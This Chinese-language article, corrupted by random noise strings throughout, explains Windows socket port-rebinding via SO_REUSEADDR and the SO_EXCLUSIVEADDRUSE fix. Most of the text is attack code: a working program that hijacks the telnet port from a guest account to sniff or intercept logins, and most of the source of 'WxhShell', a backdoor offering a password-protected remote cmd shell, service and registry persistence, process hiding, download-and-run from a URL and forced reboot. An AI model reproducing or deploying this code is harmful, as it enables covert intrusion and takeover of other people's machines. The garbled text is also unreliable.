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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~)6EH`- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {A)9ePgv! ktp<o.f[ saddr.sin_family = AF_INET; 8PWEQ<ev7> HK%W7i/k@ saddr.sin_addr.s_addr = htonl(INADDR_ANY); g0-rQA )l`VE_(| bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /a6i` 2@I0p\a 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #u +~ ^M HuQdQ*Q 这意味着什么?意味着可以进行如下的攻击: ?0qP6'nWx \m:('^\6o 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 . lNf.x#u WF2t{<]^e 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Dt iM}=: 0]^gT' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vI,T1%llu oa`7ClzD 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 i)$<j!L Py?Q:: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iJCv+p_f jvo^I$|2h 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4U u`1gtz 2^f7GP 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )CgH|z:=b Ka<J*
k3 #include <Pi#-r., #include tk>J
mcTw #include M|{NC`fa #include 0s RcA -9 DWORD WINAPI ClientThread(LPVOID lpParam); mU.c!|Y int main() Dv&K3^~Rfb { b/
h#{' WORD wVersionRequested; rj4R/{h DWORD ret; w6pXF5ur> WSADATA wsaData; ff~1>=^
BOOL val; w"?RbA SOCKADDR_IN saddr; LC\U6J't1 SOCKADDR_IN scaddr; TOG:N~ int err; !0F+qzGG7 SOCKET s; tg\o"QKW9 SOCKET sc; *dPbV.HCl int caddsize; b[:{\!I HANDLE mt; _KkP{g,Y DWORD tid; &:1q3gDm wVersionRequested = MAKEWORD( 2, 2 ); usC$NVdm err = WSAStartup( wVersionRequested, &wsaData ); 7:<A_OLi if ( err != 0 ) { +oL@pp0 printf("error!WSAStartup failed!\n"); !(Y,2{ return -1; G.PRPl } Ba**S8{/` saddr.sin_family = AF_INET; :\y' ?d- Q IIAmx[ b //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L|6I
T;V!>W37 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2(m#WK7>F saddr.sin_port = htons(23); sz%_9;`dpL if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N,3iSH=cN[ { cv7:5P printf("error!socket failed!\n"); P%N)]b<c* return -1; qB&Je$_uh } ,i8%qm8 val = TRUE; B&6lG!K'? //SO_REUSEADDR选项就是可以实现端口重绑定的 vhcp[=e : if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [AA}P/iW { i83[': printf("error!setsockopt failed!\n"); Iga#,k+% return -1; G8!|Lo } TQ5kM //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [^^ Pl:+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dC|6z/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oYt 34@{? Ivj=?[c| if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W|y;Kxy { e[0"x.gu ret=GetLastError(); +T8MQ[(4 printf("error!bind failed!\n"); NFKvgd@ return -1; /bPs0>5 } j#Tl\S!m.I listen(s,2); J_.cC while(1) ;mvVo-r*q { * ^V?u caddsize = sizeof(scaddr); 1ANb=X|hig //接受连接请求 F\L!.B sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b4WH37,lA if(sc!=INVALID_SOCKET) ?_cOU@n { lk[Y6yE mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -'SA&[7dP if(mt==NULL) #qpP37G { 6U.|0mG[ printf("Thread Creat Failed!\n"); &/WE{W break; K1Uq`T J } L(sT/ } /,UnT(/k( CloseHandle(mt); P.QF9% } -V;BkE76 closesocket(s); Hmt2~>FI[ WSACleanup(); Ak8Y?#"wz return 0; Ip:54 } (<8}un DWORD WINAPI ClientThread(LPVOID lpParam) c?u*,d) G { ,wXmJ)/WZ SOCKET ss = (SOCKET)lpParam; )*S:C SOCKET sc; 14jN0\ unsigned char buf[4096]; G$%F`R[ SOCKADDR_IN saddr; w6WPfy(/2 long num; )%3T1
D/ DWORD val; j@D,2B; DWORD ret; .T3 m%n //如果是隐藏端口应用的话,可以在此处加一些判断 XM,slQ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 m}\QGtJ6 saddr.sin_family = AF_INET; aWJj@',_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p:z~>ca saddr.sin_port = htons(23); &i.sSqSI5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7GWOJ^) { f-71`Pyb printf("error!socket failed!\n"); Qh(X7B return -1; RtzSe$O } PP>6 val = 100; LO>42o?/i if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WmN(
( { M
+r!63T ret = GetLastError(); R&J?XQ return -1; 7.6L1srV } ?s3S$Ih if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `fTM/" { ,"XiI$Le ret = GetLastError(); +yHz7^6-5 return -1; c38XM]Jeq } -THMTRFz if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $2?j2}M { fe,6YXUf printf("error!socket connect failed!\n"); mbGma closesocket(sc); kFV, Fg closesocket(ss); XclTyUGoK+ return -1; ;}"Eqq: } aR/?YKA while(1) \r[u>7I { IT&,?u% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y`Io}h G$ //如果是嗅探内容的话,可以再此处进行内容分析和记录 vIbM@Y4
'? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i>s num = recv(ss,buf,4096,0); P
<+0sh if(num>0) ZcQu9XDIt send(sc,buf,num,0); va'F '| else if(num==0) e)g&q'O break; n=vDEX:' num = recv(sc,buf,4096,0); $
VP1(C if(num>0) .8Bo5)q$a- send(ss,buf,num,0); Zrr)<'!i else if(num==0) p2{7+m break; LzNfMvh } \/o$io,kV closesocket(ss); #c>GjUJ.w closesocket(sc); @XV&^l- return 0 ; ACdPF_Y] } 6AGZ)gX hN
&?x5aC> ]b!n ;{5 ========================================================== -` U|5 voRry6Q; 下边附上一个代码,,WXhSHELL )J}v.8 U5OX.0 ========================================================== 9ziFjP+1 <78|~SKAV #include "stdafx.h" bYnq,JRA $2?AJ/2r$b #include <stdio.h> E)gD"^rex #include <string.h> R=lw}jH [Z #include <windows.h> 7MLLx#U #include <winsock2.h>
'#V@a #include <winsvc.h> [ 49Cvde^ #include <urlmon.h> 7RL J YcN|L&R. #pragma comment (lib, "Ws2_32.lib") )ffaOS!\ #pragma comment (lib, "urlmon.lib") 7|DG1p9C v{VF>qEP #define MAX_USER 100 // 最大客户端连接数
j)?M #define BUF_SOCK 200 // sock buffer ehr-o7]( #define KEY_BUFF 255 // 输入 buffer {E:` gM\>{ihM' #define REBOOT 0 // 重启 D=TS IJ@ #define SHUTDOWN 1 // 关机 SG&,o=I$ ir_XU/ve #define DEF_PORT 5000 // 监听端口 $`E?=L`$ q[,p#uJ] #define REG_LEN 16 // 注册表键长度 &uK(. @ #define SVC_LEN 80 // NT服务名长度 6*q1%rs:w Q=`yPK>{$N // 从dll定义API ;7QXs39S typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l<f9$l^U typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8(L$a1#5W typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 25$_tZPAI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
X8$Mzeq >u&D@7~c // wxhshell配置信息 %o0b~R struct WSCFG { P 0,]`w int ws_port; // 监听端口 IR6W'vA char ws_passstr[REG_LEN]; // 口令 %8FfP5# int ws_autoins; // 安装标记, 1=yes 0=no (Xh<F char ws_regname[REG_LEN]; // 注册表键名 AafS6]y char ws_svcname[REG_LEN]; // 服务名 o utJ/~9; char ws_svcdisp[SVC_LEN]; // 服务显示名 ?,>3uD# char ws_svcdesc[SVC_LEN]; // 服务描述信息 F@i>l{C char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7__[=)(b2X int ws_downexe; // 下载执行标记, 1=yes 0=no YsVmU char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" p%I'd^}.! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i6'=]f'{ GfE>?mG }; d:(Ex^^ |Ns4^2 // default Wxhshell configuration a)QT#. struct WSCFG wscfg={DEF_PORT, .h-mFcjy "xuhuanlingzhe", d m8t~38 1, ^l!SIu "Wxhshell", 3%kUj "Wxhshell", 4>*=q*<V5E "WxhShell Service", eU1F7LS "Wrsky Windows CmdShell Service", ez,.-@O "Please Input Your Password: ", "?NDN4l* 1, /iU<\+ H " http://www.wrsky.com/wxhshell.exe", TTz=*t+D "Wxhshell.exe" ]y_:+SHc }; Z-PBCU -tj#BEC[H( // 消息定义模块 k$3pmy* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JU?;Kq9R char *msg_ws_prompt="\n\r? for help\n\r#>"; .9nqJ7] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; _QL|pLf- char *msg_ws_ext="\n\rExit."; u}@N
Qeg char *msg_ws_end="\n\rQuit."; ba|xf@=& char *msg_ws_boot="\n\rReboot..."; K81X32Lm' char *msg_ws_poff="\n\rShutdown..."; D&%8JL char *msg_ws_down="\n\rSave to "; o08WC'bX tO M$'0u char *msg_ws_err="\n\rErr!"; ;llPM`) char *msg_ws_ok="\n\rOK!"; J3eud}w 23gN;eD+m6 char ExeFile[MAX_PATH]; FEjO}lTK int nUser = 0; 1<r!9x9G HANDLE handles[MAX_USER]; V~*Gk! +f int OsIsNt; l=CAr lL)f-8DX SERVICE_STATUS serviceStatus; \sNgs#{7E7 SERVICE_STATUS_HANDLE hServiceStatusHandle; /ox7$|Jyr Hd~g\ // 函数声明 /mkT7,] int Install(void); a{kJ`fK int Uninstall(void); )p\`H;7*V4 int DownloadFile(char *sURL, SOCKET wsh); {A0jkU int Boot(int flag); YEu+kBlcQ void HideProc(void); os/h~,= int GetOsVer(void); U@OdQAX int Wxhshell(SOCKET wsl); QLY;@-jF$ void TalkWithClient(void *cs); CvU$Fsb int CmdShell(SOCKET sock); ?Y4 +3`\x int StartFromService(void); tbS hSbj int StartWxhshell(LPSTR lpCmdLine); Cn~VJ,l
g LYDiqOrx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4 Ej->T. VOID WINAPI NTServiceHandler( DWORD fdwControl ); {`!6w>w0 \3JCFor/ // 数据结构和表定义 ;'S,JGpvT SERVICE_TABLE_ENTRY DispatchTable[] = 3FiK/8mu { A6z,6v6 {wscfg.ws_svcname, NTServiceMain},
d$$5&a {NULL, NULL} q} e#L6cM }; {=GmXd%D !Cr3>tA // 自我安装 D6bYg ` int Install(void) R-Edht|{ { syl7i>P char svExeFile[MAX_PATH]; W.j^L; HKEY key; w-K A~ strcpy(svExeFile,ExeFile); *tqD:hiF X:i?gRy" // 如果是win9x系统,修改注册表设为自启动 cW%)C.M if(!OsIsNt) { wH~A>
4*( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <m-(B"FX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Eyi~jes RegCloseKey(key); KQfWpHwfj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )>ZT{eF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <XLae'R RegCloseKey(key); $g>bp<9v4 return 0;
|vs5N2_ } clvg5{^q[ } Ae>+Fcv } poQ_r<I else { o +$v0vg%T )g@+
MR // 如果是NT以上系统,安装为系统服务 |5~Oh`w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rI$NNk'A if (schSCManager!=0) T?1BcY
{ c(Dp`f, SC_HANDLE schService = CreateService =Y2 Rht ( 4/(#masIL schSCManager, K#OL/2^
5 wscfg.ws_svcname, FyEKqYl wscfg.ws_svcdisp, YiZk|K_ SERVICE_ALL_ACCESS, m9[ 7"I SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i@rtt
M SERVICE_AUTO_START, Mq0MtC6- SERVICE_ERROR_NORMAL, x# 0?$}f< svExeFile, Qder8I NULL, D6VdgU| NULL, SJiQg-+<Uf NULL, &wQ;J)13 NULL, .YF1H<gwa NULL !ZTghX}D ); B:"D)/\ if (schService!=0) 7NvKpinQ { gv67+Mf CloseServiceHandle(schService); `3\aX|4@ CloseServiceHandle(schSCManager); 2K:A4)jZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AS;Sz/YP strcat(svExeFile,wscfg.ws_svcname); N@|<3R!N*e if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [<XYU,{R RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6{)pF RegCloseKey(key); _^_3>}y5op return 0; og";mC } xT>9ZZcE } )BJkHED{ CloseServiceHandle(schSCManager); 6:8s,a3&[k } GN_L"|#)= } hV@ N-u^ ZUI6VM return 1; qx#M6\L! } YrL(4 Nt8 ta?NO{* // 自我卸载 `4K|L6 int Uninstall(void) F~Dof({: { ,b5'<3\ HKEY key; t'2A)S BH'*I
yv if(!OsIsNt) { ~v8X>XDL?T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /si<Fp)z RegDeleteValue(key,wscfg.ws_regname); #Vum RegCloseKey(key); utmJ>GWSI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GFFwk4n1 RegDeleteValue(key,wscfg.ws_regname); 7^i7U-A<A RegCloseKey(key); 'HWl_M return 0; cX9o'e:C } Tx}Nr^ } JMB#KzvN[ } 6xDk3 else { ,&BNN]k +2iD9X{$MX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1{N+B#*<[X if (schSCManager!=0) .2%t3ul[ { =AO
( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]njNSn if (schService!=0) mh8fJ6j29N { aL:|Dr3SX if(DeleteService(schService)!=0) { D?dBm CloseServiceHandle(schService); !H\;X`W|~D CloseServiceHandle(schSCManager); 1 iox0 return 0; 3@" :& } M-t9M~ CloseServiceHandle(schService); ,P9F*;Dj } lrJV"H CloseServiceHandle(schSCManager); Pm%xX~H } /0\g!29l< } ~u%$ 9IhM 3zB'AG3b return 1; WVR/0l&bU } a{xJ#_/6 qy'-'UlIr // 从指定url下载文件 K9zr]7;th int DownloadFile(char *sURL, SOCKET wsh) vb^fx$V { rN9qH HRESULT hr; 9]v,3'QI char seps[]= "/"; !L.R"8! char *token; )B]s.w char *file; j4;^5
Dy^ char myURL[MAX_PATH]; "73*0'm char myFILE[MAX_PATH]; jSpj6:@B l,J>[Q`< strcpy(myURL,sURL); s?HK2b^;D token=strtok(myURL,seps); =0?5hxM d while(token!=NULL) lo!pslqsn { [yMSCCswW file=token; KKsVZ~<6u token=strtok(NULL,seps); ^N^G?{EV/# } <}lah%4F [2,D] e GetCurrentDirectory(MAX_PATH,myFILE); I/w;4!+) strcat(myFILE, "\\"); }K?b2 6` strcat(myFILE, file); ;t*SG*Vi send(wsh,myFILE,strlen(myFILE),0); Gy\]j send(wsh,"...",3,0); (l%?YME hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 68j1svz9 if(hr==S_OK) ,<
g%}P/ return 0; HN7tIz@Frc else /k/X[/WO return 1; m}z6Bbis 0 -F?97&G$ } q;[HUyY, x_~_/&X5 // 系统电源模块 WOn<JCh] int Boot(int flag) UJ,vE}=_{ { oaQW~R`_ HANDLE hToken; (eF[nfM TOKEN_PRIVILEGES tkp; QcrhgR 'ge$}L}4 if(OsIsNt) { 9C)VW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f_)# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); el2Wk@* tkp.PrivilegeCount = 1; &?y@`',a0{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ub\^3f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w<H2#d>5!@ if(flag==REBOOT) { VLV]e_D6s if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y7/4u-_c return 0; JOG-i } [;{xiW4V] else { I=dn]}b#P if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .nZKy't return 0; 0UJ6>Rj } yf&_l^! } >>$L
vQ else { &jY|
:Fe if(flag==REBOOT) { %T$>E7]! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3Iqvc v return 0; ?5CE<[ } x%s1)\^A else { .tKBmq0xo" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gHc1_G] return 0; ;:Z5Ft m } iT:i
'\~ } ]2l}[
w71| "8%$,rG1& return 1; 6am6'_{ } wlP3 XF? o@N[O^Q
V // win9x进程隐藏模块 _`p-^I void HideProc(void) C[.Xi { f3Zf97i W0MgY%Qv[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lv?`+tU2_ if ( hKernel != NULL ) @?e~l:g})g { TO]7cC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }J6:D]Q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^;ZpK@Luk FreeLibrary(hKernel); -HGRrWS } 4
. c1 8H-yT1
return; c
$r"q :\ } E[#VWM
I ]&H"EHC<$ // 获取操作系统版本 ;%d<Uk? int GetOsVer(void) Y=|p}>.} { %\HE1d5; OSVERSIONINFO winfo; fZpi+I winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J:"@S%gy% GetVersionEx(&winfo); Q>Klkd5( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /&|p7 return 1; . q
-:3b else 31c*^ZE. return 0; 9QX!HQ|5y8 } I4%kYp] e YP^.U) // 客户端句柄模块 3O;H& int Wxhshell(SOCKET wsl) m8PS84."]M {
lTu& 9) SOCKET wsh; im9w|P 5 struct sockaddr_in client; E oixw8hz DWORD myID; f.$[?Fi d:|x e : while(nUser<MAX_USER) C{$iuus0 {
3#$X int nSize=sizeof(client); R~iv%+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IagM#}m@ if(wsh==INVALID_SOCKET) return 1; J*b Je"8 ]B;`Jf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OS`jttU@ if(handles[nUser]==0) l'q%bi=f closesocket(wsh); sgP{A}4 W else hDTC~~J/ nUser++; .]h/M,xg } lCUYE"o WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !AJkd. f6K.F return 0; vGlVr.) } (/<Nh7C1c 6QA`u* // 关闭 socket T0dD:s N void CloseIt(SOCKET wsh) ~n@rX=Y)]0 { a(6h`GHo closesocket(wsh); @*<0:Q|m nUser--; D|Q7dIZm ExitThread(0); (_4DZMf } C{m%]jKH ?Xvy0/s5 // 客户端请求句柄 vE^tdzAG void TalkWithClient(void *cs) Cp/f18zO { 2?
yo Z@dVK`nD SOCKET wsh=(SOCKET)cs; \8$~ i char pwd[SVC_LEN]; j24 3oD char cmd[KEY_BUFF]; mrRid}2 char chr[1]; izcaWt3 a int i,j; XX/s@C 17?YN< while (nUser < MAX_USER) { UJh;Hp: BVeMV4 if(wscfg.ws_passstr) { `dcz9 * if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }R16WY_' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;6``t+]q
//ZeroMemory(pwd,KEY_BUFF); Z6${nUX i=0; Ur]$@N while(i<SVC_LEN) { #0T/^ # FHU6o910 // 设置超时 L~t<
0\r fd_set FdRead; hZHM5J~ struct timeval TimeOut; ";=!PL FD_ZERO(&FdRead); b9X*2pnWJ FD_SET(wsh,&FdRead); 8>[g/%W TimeOut.tv_sec=8; v]{UH{6 TimeOut.tv_usec=0; CR'%=N04^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Rs5 lL-I if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I[k"I( ?[Y(JO# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R`c[?U pwd =chr[0]; bD ,X. if(chr[0]==0xd || chr[0]==0xa) { l[:Aq&[o3 pwd=0; Gu~*ZKyJ break; (&eF E ;c } AcuF0KWw/ i++; :sg}e } <9ucpV LE<J<~2Z // 如果是非法用户,关闭 socket YS^!'IyG/B if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .+ u
b\ } GqR XNs! FiiDmhu send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I)'bf/6? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ujxr/8mjV -&Xv,:'? while(1) { IyHbl_P ^ m4@NW*G{ ZeroMemory(cmd,KEY_BUFF); -:ucp2 Oh$:qu7o0& // 自动支持客户端 telnet标准 $!>.h*np j=0; P!|Z%H while(j<KEY_BUFF) { PX|@D_%Y= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @p*)^D6E\ cmd[j]=chr[0]; u5A?; a if(chr[0]==0xa || chr[0]==0xd) { oV:oc, cmd[j]=0; D;C';O break; XJe=+_K9 } DO80HS3ZD j++; =|agW.l } #_35bg4h{ >E<ib[vK[ // 下载文件 RN(I}]] a if(strstr(cmd,"http://")) { CfU|]< send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0mSP if(DownloadFile(cmd,wsh))
.fl r send(wsh,msg_ws_err,strlen(msg_ws_err),0); O,B\|pd2 else 95mf send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2g{tzR_j } -n05Z@7 else { C*( GV Xdyi switch(cmd[0]) { AChz}N$C |2q3spd // 帮助 A0)^I:& case '?': { f zo'9 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d>hv-nD break; (*$bTI/~ } jCJcVO>OZ // 安装 DRQx5fgL case 'i': { Gc|)4c if(Install()) mtv8Bm=< send(wsh,msg_ws_err,strlen(msg_ws_err),0); @[3c1B6K else S\TXx79PhC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YGyv)\ break; ps 3)d } 3
39q%j$ // 卸载 ?A3L8^tR case 'r': { %rptI$^*X if(Uninstall()) _f[Q\gK send(wsh,msg_ws_err,strlen(msg_ws_err),0); XH!#_jy else p'
>i3T( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); . ImaM break; cFL~<
[>_ } ZkbE&7Z // 显示 wxhshell 所在路径 !y_{mE?V( case 'p': { |Ghk8 WA char svExeFile[MAX_PATH]; Q6Gw!!Z5EA strcpy(svExeFile,"\n\r"); zi-_ l strcat(svExeFile,ExeFile); ;>?h/tS6 send(wsh,svExeFile,strlen(svExeFile),0); Ki;SONSV~| break; -x//@8" } /WTEz\k // 重启 ss)x
fG case 'b': { f4f2xe7\Q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~18a&T: if(Boot(REBOOT)) aZA``#p+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]1!" q40)] else { jfuHZ^ YA closesocket(wsh); >7>I1 ExitThread(0); AYbO~_a\N } eQbHf break; +Y%6y]8 } IO+]^nY` // 关机 qNEp3WY: case 'd': { "bo0O7InOV send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TQ4@|S:OF if(Boot(SHUTDOWN)) {6'Xz send(wsh,msg_ws_err,strlen(msg_ws_err),0); L|'^P3#7` else { >pU9}2fpT closesocket(wsh); I/dy^5@F ExitThread(0); !a@)6or } [C "\]LiX break; 3$\k=q3`# } W'[V$* // 获取shell 'h*jL@%TT case 's': { <gp?}Lk CmdShell(wsh); XNJ4T]>< closesocket(wsh); t7+A!7b{ ExitThread(0); EA& 3rI>U) break; bHwEd%f } m^_=^z+ // 退出 Jxe+LG case 'x': { l[}4
X/ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c2npma]DZ CloseIt(wsh); tq3_az ~1 break; y}odTeq } C ^Y\?2h1 // 离开 8-2`S* case 'q': { 4_R|3L send(wsh,msg_ws_end,strlen(msg_ws_end),0); w_(3{P[Iz closesocket(wsh); x|6]+?l@6 WSACleanup(); -R`{]7V exit(1); YFO{i-*q break; YT\@fgBt } Z?axrGmg0 } hS]w
A"\87 } ~G!JqdKJ0 Y?0/f[Ax,y // 提示信息 $coO~qvU if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X ,QsE{ } ZwmucY%3 } -#|D> qA)OkR'm return; cr1x
CPJj } ;5Sdx5`_ un{ZysmtB6 // shell模块句柄 m@4Dz| int CmdShell(SOCKET sock) 6\4-I^=B { Y2H-D{a27 STARTUPINFO si; r\Nfq(w ZeroMemory(&si,sizeof(si)); CXlbtpK2k si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jj5S+ >4 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EApKN@<" PROCESS_INFORMATION ProcessInfo; Z>rY9VvWD char cmdline[]="cmd"; nr!N%Hi CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g52a
vG return 0; L44m!%q } % MHb U&5*>fd= // 自身启动模式 Kgbm/L0XR* int StartFromService(void) OviS(}v4@ { /)P}[Q4 typedef struct AYts
&+ { ]{>AU^=U DWORD ExitStatus; 'YL[s DWORD PebBaseAddress; FwCb$yE#M DWORD AffinityMask; @YJI'Hf67 DWORD BasePriority; (f# (B2j ULONG UniqueProcessId; =*mT{q@ ULONG InheritedFromUniqueProcessId; ~Z\:Nx } PROCESS_BASIC_INFORMATION; U ZM #O j|eA*UE PROCNTQSIP NtQueryInformationProcess; EYAaK^ & \(o"/* static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f-b],YE static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,?fJ0n:!% u^80NR HANDLE hProcess; hx;f/EPx PROCESS_BASIC_INFORMATION pbi; OrY[ ^Co-!jM HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zi!Ta"}8 if(NULL == hInst ) return 0; 8K 3dwoT
